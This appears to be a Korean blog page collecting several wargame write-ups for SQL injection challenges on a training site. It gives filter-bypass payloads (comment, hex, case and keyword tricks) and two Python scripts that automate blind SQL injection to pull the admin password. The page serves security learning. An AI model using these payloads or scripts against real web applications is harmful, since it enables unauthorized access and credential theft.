문제 페이지를 확인하면 다음과 같다.

소스 코드를 보면 or, and, substr, = 을 필터링하고 있고, 문제 풀이 조건을 보니 정확한 pw값을 입력해야 문제가 풀리는 것 같다.

다음과 같이 or은 ||로, =은 like로 필터링을 우회할 수 있다.

and도 필터링 되어 있기 때문에 '|| id like 'admin' && length(pw) like 1# 와 같은 쿼리로 숫자를 바꿔가며 패스워드 길이를 알아낼 수 있다.

패스워드 길이를 알아내면 패스워드 길이만큼 반복하며 substr이 필터링 되어 있기 때문에 mid 함수를 이용하여 각 자리수에 해당하는 글자를 가져올 수 있다. mid 함수는 mid(문자, 시작위치, 가져올개수)의 형태로 사용하며 다음과 같다.

'abcd'에서 2번째 문자부터 1개의 문자만 가져왔기 때문에 b를 반환한다.

따라서 '|| id like 'admin' && ascii(mid(pw, 1, 1)) like 97# 과 같은 형식으로 쿼리를 전송하면 mid 함수로 pw의 첫번째 글자를 가져온 값의 아스키코드 값이 97인지 아닌지, 확인할 수 있다.

따라서 패스워드의 길이를 구하고, 각 자리에 해당하는 값이 아스키 코드로 변환했을때 0부터 z까지 인지 확인하고 맞는 값을 차례로 저장하는 코드를 작성하면 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
 
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
header = {'PHPSESSID''ujpger2natc794e8voh11pdhun'}
 
pw_len = 0
while 1:
    pay = "' || id like 'admin' && length(pw) like {}#".format(pw_len)
    params = {'pw': pay}
    rep = requests.get(url,params=params, cookies=header)
    if "Hello admin" in rep.text:
        break
    pw_len += 1
 
print("[*] Password Length : ", pw_len)
 
pw = ''
for i in range(1, pw_len+1):
    for j in range(48,123):
        pay = "' || id like 'admin' && ascii(mid(pw,{},1)) like {}#".format(i,j)
        params = {'pw': pay}
        rep = requests.get(url, params=params, cookies=header)
        if "Hello admin" in rep.text:
            pw += chr(j)
            break
 
print("[*] Password : ", pw)
cs

'Security & Hacking > Wargame' 카테고리의 다른 글

[pwnable.kr] input  (0) 2021.06.15
[HackCTF] BOF_PIE  (0) 2021.06.01
[HackCTF] Offset  (0) 2021.05.13
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25

문제를 보면 쿼리 맨 뒤 부분에 and 1=0 이라는 구문이 있어 쿼리가 거짓이 되고 있다. 이 부분을 주석처리를 통해 없애주면 문제를 해결할 수 있을 것 같다. /?pw=' or id='admin'# 이라는 쿼리를 보냈더니 #문자가 들어가지 않아서 #을 헥스값으로 바꾼 %23으로 넣었더니 정상적으로 주석처리가 되며 쿼리가 참이 되서 문제를 해결할 수 있었다.

payload : /?pw=' or id='admin'%23

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] vampire  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06
[LoS] orge  (0) 2020.11.06

문제를 보면 str_replace() 함수로 admin 이라는 문자열을 필터링 하고 있다. str_replace() 함수는 해당 문자열 패턴이 있으면 치환하는 것으로 이 문제에서는 admin이라는 문자열을 없는 값으로 치환한다.  adadminmin으로 값을 주면 adadminmin 빨간색 부분이 치환되도, admin 이라는 값이 남아서 필터링을 우회할 수 있다.

payload : /?id=adadminmin

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] skeleton  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06
[LoS] orge  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03

문제를 보면 id 값이 admin 이면 문제는 해결된다. preg_math() 함수로 필터링 하는 문자들을 보면 '(따옴표)를 필터링 하고 있고, admin 이라는 문자열을 필터링 하고 있다. 그러나 첫번째 preg_match() 함수를 보면 i 가 있고, 두번째는 i가없다. preg_match() 함수의 패턴 구분자 뒤의 'i'는 대소문자 무시를 하게 된다. 만약 두번째 preg_match() 함수에 'i' 가 있었다면 admin 이라는 문자열이든, Admin 이라는 문자열이든 대소문자 구분하지 않고 필터링 하게 된다. 그러나 지금 이 함수에는 'i' 가 없다. 또한 mysql은 대소문자 구분을 하지 않는다. 따라서 대문자로 우회할 수 있다.

 

payload : /?id=ADmin

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] skeleton  (0) 2020.11.10
[LoS] vampire  (0) 2020.11.10
[LoS] orge  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03

문제를 보면 pw 값이 admin의 pw값과 일치하면 문제를 풀 수 있는 것 같다.

blind sql injection 을 통해 pw를 알아낼 수 있을 것 같다.

pw 알아내는 과정을 두 단계로 설명해 보면 먼저 pw의 길이를 알아내고 알아낸 길이로 실제 pw 값을 알아낼 수 있다.

pw의 길이를 알아내는 방법은 length() 함수를 통해 알아낼 수 있고, pw 값은 substr() 함수를 통해 알아낼 수 있다.

length()는 문자열 길이를 반환하는 함수이고, substr()함수는 문자열을 특정 범위만큼 자르는 함수이다.

 

위 페이지에서는 쿼리의 조건이 참이면 "Hello admin"을 출력한다.

length() 함수를 이용하여 pw의 길이를 1부터 확인해 본 결과 pw의 길이는 8이였다.

query: ?pw=' or length(pw)=8--%20

pw의 값은 substr 함수로 1자리씩 참,거짓을 판단하여 구할 수 있다. 

이 과정을 사람이 수행하기에는 경우의 수가 너무 많기 때문에 파이썬으로 자동화 코드를 짜서 실행하였다.

import requests
import re

cookies = {"PHPSESSID": "38mrr1emu522is42ls4dq00svn"}
pwLen = 0
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
tryList = []
result = ""



for i in range(0,10):
    tryList.append(i)

for i in range(97, 123):  # 아스키 코드 값(영문 소문자)
    tryList.append(chr(i))


for i in range(1,100):
    lenPayload = "?pw=1' or length(pw)='" +str(i)
    new_url = url + lenPayload
    req = requests.get(new_url,cookies=cookies)

    if re.findall("<h2>Hello admin</h2>", req.text):        # pw 길이를 찾으면 길이를 저장하고 반복문 종료
        pwLen = i
        break

print("pw len : " +str(pwLen))



for i in range(1,pwLen+1):                         # pw 길이 만큼 반복
    for w in range(0,len(tryList)+1):              # 0~9 숫자 + 영소문자 갯수 만큼 반복
        par = "?pw=1' or substr(pw," +str(i) +",1)='" +str(tryList[w])      # pw 값을 1번째 자리부터 숫자, 영소문자를 대입하여 비교
        new_url = url + par
        req = requests.get(new_url,cookies=cookies)

        if re.findall("<h2>Hello admin</h2>", req.text):       # 결과가 참이면 해당 값을 저장하고 다음 자리로 넘어감
            print(tryList[w])
            result += str(tryList[w])
            break


print("password is " +result)

 위 코드를 수행하면 다음과 같은 결과값이 나오고, pw를 문제 페이지에 입력하면 문제가 해결된다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03
[LoS] cobolt  (0) 2019.11.26
[LoS] gremlin  (0) 2019.11.26
[Wargame.kr] type confusion  (0) 2019.09.10

문제를 보면 id가 admin 이어야 한다.

preg_match() 함수를 보면 전 문제들과는 다르게 '(싱글쿼터)와 "(더블쿼터)가 필터링 되어있음을 볼 수 있다.

이는 문자열을 사용할 수 없음을 의미한다.

따라서 hex값으로 admin을 id에 넣으면 문제를 해결할 수 있다.

query : ?no=0 or id=0x61646d696e

 

 

문제 코드를 보면 전 문제와 마찬가지로 preg_match() 함수를 이용하여 특정 문자열들을 필터링하고 있고

id가 admin일때 문제가 풀린다고 한다.

 

id에 admin 값을 넣고 pw를 검증하는 부분을 주석으로 없애면 문제를 해결할 수 있다.

#을 url 인코딩한 %23을 주석으로 사용할 수 있다.

 

query : ?id=admin'%23

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] goblin  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29
[LoS] gremlin  (0) 2019.11.26
[Wargame.kr] type confusion  (0) 2019.09.10
[Wargame.kr] tmitter  (0) 2019.09.07

문제 코드를 보면 id 값이 있으면 문제가 풀린다.

또한 preg_match() 함수를 이용하여 _ , . 등의 문자등을 필터링 하고 있다.

필터링 하는 문자열에는 '(싱글쿼터)와 #(주석), or 등이 없다.

 

따라서 id 값에 or 연산으로 조건을 참으로 만들어 주면 문제가 해결된다.

query : ?id=admin' or '1'='1#

 

             

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] orc  (0) 2019.11.29
[LoS] cobolt  (0) 2019.11.26
[Wargame.kr] type confusion  (0) 2019.09.10
[Wargame.kr] tmitter  (0) 2019.09.07
[Wargame.kr] md5_compare  (0) 2019.09.03

+ Recent posts